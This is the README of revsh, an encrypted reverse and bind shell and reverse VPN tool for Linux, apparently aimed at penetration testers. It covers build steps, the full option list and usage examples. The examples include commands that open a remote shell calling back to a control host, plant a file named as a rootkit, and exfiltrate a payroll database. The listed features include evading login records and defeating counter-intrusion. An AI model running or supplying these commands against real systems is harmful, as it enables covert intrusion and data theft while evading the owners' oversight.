- 2018-08-09: New release. Mosly bug / stability fixes and better documentation on the build process with OpenSSL 1.1.0. See the Installation section below for the updated build instructions.
What is a "reverse shell"?
A reverse shell is a network connection that grants shell access to a remote host. As opposed to other remote login tools such as telnet and ssh, a reverse shell is initiated by the remote host. This technique of connecting outbound from the remote network allows for circumvention of firewalls that are configured to block inbound connections only.
What is a "reverse VPN"?
revsh is capable of attaching a virtual ethernet card (tun/tap) to both ends of its crypto tunnel. These cards can then be used to forward raw IP packets or ethernet frames. When combined with an Iptables NAT rule, or bridging a real ethernet card, this allows for the operator to receive a fully routable IP address on the target machines network. This, essentially, is a full VPN that has performed a connect-back call to the operator to circumvent in-bound packet filtering and grant the operator full network access. (See "Documentation/REVERSE_VPN.md" for more information.)
What is a "bind shell"?
A bind shell is a shell that is served from a normal forward network connection. revsh supports both reverse and bind shells. To invoke a bind shell you can either invoke the -b flag on both ends of the connection, or invoke the binary as 'bindsh'.
Can't I just use netcat?
There are many techniques for establishing a reverse shell, but these methods don't provide terminal support. revsh allows for a reverse shell whose connection is mediated by a pseudo-terminal, and thus allows for features such as:
- job control
- control character processing (e.g Ctrl-C)
- support for programs requiring a controlling tty (e.g. vi)
- processing of window re-size events
In addition, revsh also offers the following features:
- UTF-8 support.
- Circumvents utmp / wtmp. (No login recorded.)
- Processes rc file commands upon login for easy scripting.
- OpenSSL encryption with key based authentication baked into the binary.
- Anonymous Diffie-Hellman encryption upon request.
- Ephemeral Diffie-Hellman encryption as default. (Now with more Perfect Forward Secrecy!)
- Cert pinning for protection against sinkholes and mitm counter-intrusion.
- Connection timeout for remote process self-termination.
- Randomized retry timers for non-predictable auto-reconnection.
- Netcat style non-interactive data brokering for file transfer.
- Proxy support: point-to-point, SOCKS 4, SOCKS 4a, and SOCKS 5. Proxys are available in both directions for complete flexibility.
- TUN / TAP support for forwarding raw IP packets / Ethernet frames.
- Escape sequence commands to kill non-responsive nodes, or print connection statistics.
revsh is intended as a supplementary tool for a pentester's toolkit that provides the full set of terminal features across an encrypted tunnel.
Where can I use revsh?
revsh was developed on x86_64 Linux. Here is a brief list of Arch / OS combinations that it has been used on:
- x86_64 Linux
- i686 Linux
- amd64 FreeBSD
(If you have successfully used revsh on another platform, drop me a line and I'll add it to the list.)
empty@monkey:~$ revsh -h Control: revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]] Target: revsh [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]] ADDRESS The address of the control listener. (Default is "0.0.0.0".) PORT The port of the control listener. (Default is "2200".) CONTROL_OPTIONS: -c Run in "command and control" mode. (Default is target mode.) -a Enable Anonymous Diffie-Hellman mode. (Default is Ephemeral Diffie-Hellman.) -d KEYS_DIR Reference the keys in an alternate directory. (Default is "~/.revsh/keys/".) -f RC_FILE Reference an alternate rc file. (Default is "~/.revsh/rc".) -s SHELL Invoke SHELL as the remote shell. (Default is "/bin/bash".) -F LOG_FILE Log general use and errors to LOG_FILE. (No default set.) TARGET_OPTIONS: -t SEC Set the connection timeout to SEC seconds. (Default is "3600".) -r SEC1,SEC2 Set the retry time to be SEC1 seconds, or (Default is "600,1200".) to be random in the range from SEC1 to SEC2. MUTUAL_OPTIONS: -k Run in keep-alive mode. Node will neither exit normally, nor timeout. -L [LHOST:]LPORT:RHOST:RPORT Static socket forwarding with a local listener at LHOST:LPORT forwarding to RHOST:RPORT. -R [RHOST:]RPORT:LHOST:LPORT Static socket forwarding with a remote listener at RHOST:RPORT forwarding to LHOST:LPORT. -D [LHOST:]LPORT Dynamic socket forwarding with a local listener at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.) -B [RHOST:]RPORT Dynamic socket forwarding with a remote listener at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.) -x Disable automatic setup of proxies. (Defaults: Proxy D2280 and tun/tap devices.) -b Start in bind shell mode. (Default is reverse shell mode.) The -b flag must be invoked on both ends. -n Non-interactive netcat style data broker. (Default is interactive w/remote tty.) No tty. Useful for copying files. -v Verbose. -vv and -vvv increase verbosity. -V Print the program and protocol versions. -h Print this help. -e Print out some usage examples.
First, you will need to build OpenSSL from source. (See NOTE below.)
git clone https://github.com/openssl/openssl.git cd openssl/ ./config no-shared -static # These options are needed to build static applications against OpenSSL. make && make test # We skip "make install" so we don't conflict with your systems default OpenSSL. We will build _revsh_ against the OpenSSL we just compiled in this tree. cd ..
Now build revsh.
git clone https://github.com/emptymonkey/revsh.git cd revsh vi config.h # Set up new defaults that fit your situation. vi Makefile # Check that the selected build environment is the one you want. (It probably already is by default.) make # This *can* take a very long time, though it usually doesn't. make install vi ~/.revsh/rc # Add your favorite startup commands to really customize the feel of your remote shell. revsh -h
NOTE: With the release of OpenSSL 1.1.0, OpenSSL needs to be built from source for use in a statically linked binary. Building a statically linked binary against the OpenSSL libraries that ship with most Linux distros (including Kali) will not work. (If it builds at all, it will SEGFAULT.)
Control host example IP: 192.168.0.42
Target host example IP: 192.168.0.66
Interactive example on default port '2200': control: revsh -c target: revsh 192.168.0.42 Interactive example on non-standard port '443': control: revsh -c 192.168.0.42:443 target: revsh 192.168.0.42:443 Bindshell example: target: revsh -b control: revsh -c -b 192.168.0.66 Non-interactive file upload example: control: cat ~/bin/rootkit | revsh -c -n target: revsh 192.168.0.42 > ./totally_not_a_rootkit Non-interactive file download example: control: revsh -c -n >payroll_db.tar target: cat payroll_db.tar | revsh 192.168.0.42 Non-interactive file download example across existing tunnel: control: revsh -c -n 127.0.0.1:2291 >payroll_db.tar target: cat payroll_db.tar | revsh 127.0.0.1:2290